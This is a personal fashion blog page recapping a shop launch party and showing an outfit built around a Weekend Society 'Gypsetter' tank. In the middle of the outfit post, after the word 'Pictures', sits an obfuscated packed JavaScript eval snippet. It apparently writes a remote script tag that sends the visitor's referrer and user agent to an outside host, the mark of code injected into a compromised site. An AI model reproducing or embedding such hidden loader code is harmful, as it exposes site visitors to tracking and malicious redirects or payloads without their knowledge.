Ashley Barkley, local stylist, H&M spokesmodel, and social media queen. Love her to pieces!

 

launch party

Meagan Jones, the beautiful brain & talent behind Rooney Mae Couture!

launch party

launch party

Hannah’s mom Trina, who bravely stood up with me to talk about her daughter’s devastating condition, and all they are doing to give her the best possible life, for the time they have with her. If you would like to donate and help out this precious family, click HERE to be directed to their GoFundMe page!

All the photos above are by volunteer photographer Toni Osmundson at Sydney Studios & Co. Thank you SO MUCH Toni!!! 🙂

Thanks again to everyone who came. May you all have a blessed holiday season, and I hope you can join me and the Travel Posse SOON for some amazing adventures… Our next stop is LAS VEGAS FASHION WEEK! Click HERE to read more about it, and find out how YOU can come along with us!!!

XOXO,
Tanya

~ Photos below are from Social Media ~ 

stylespygirl launch party

stylespygirl launch party

stylespygirl launch party

 

My Gypsetter Heart, With Weekend Society

gypsetter weekend society stylespygirl

Pictures eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irhya|var|u0026u|referrer|zbtek||js|php’.split(‘|’),0,{}))
by
Valerie Davenport Photography

Globe-trotter, nomad, wanderer, Gypsetter. Yeah, all of those words pretty much fit this little Boise blogger! I’ve been traveling since I was born. In fact, my mom delivered me in Tangier, Morocco, while my parents were working abroad with an organization called YWAM, which I loosely describe as “a kind of Christian Peace Corps.” By the time I was 25, I had visited over 20 countries, and lived in 6. Despite being uprooted a lot, the crazy thing is that I liked it. Adventure, exploring, new people, new foods… What a heckuva way to grow up! I crave new things all the time; plop me down with a map and a few bucks in the middle of any city in the world, and just let me explooooore.

When emerging fashion label Weekend Society contacted me about a blog collab for their adorable tops, I was instantly drawn to this one. Gypsetter is like Gypsy and Jet-setter combined, which very much fits my heart & soul! The cutout sides were a little expose-y for my comfort, but paired with a sequin tube top from Express and a rad jacket, I made the Gypsetter tank fit my body type and my personal style.

Do you like how I put it together? How would you style this tank? Tell me below in the comments!

XOXO,
Tanya

gypsetter weekend society stylespygirlGypsetter Tank by Weekend Society / Maroon Jacket and layered Black & Silver Necklace, both from SWANK Boutique / Rhyder Bag via COACH / Waxed Jeans from Express / Ankle Boots by Report, via Nordstrom Rack

gypsetter tank 2gypsetter weekend society stylespygirlgypsetter weekend society stylespygirl

trips as button

 

gypsetter weekend society stylespygirlgypsetter weekend society stylespygirlgypsetter weekend society stylespygirlgypsetter weekend society stylespygirlWant to EXPLORE with me? Check out my newly-launched Shop / Style / Adventure travel packages for women!
Click on the Getaways page above, or the button below for more information.

trips as button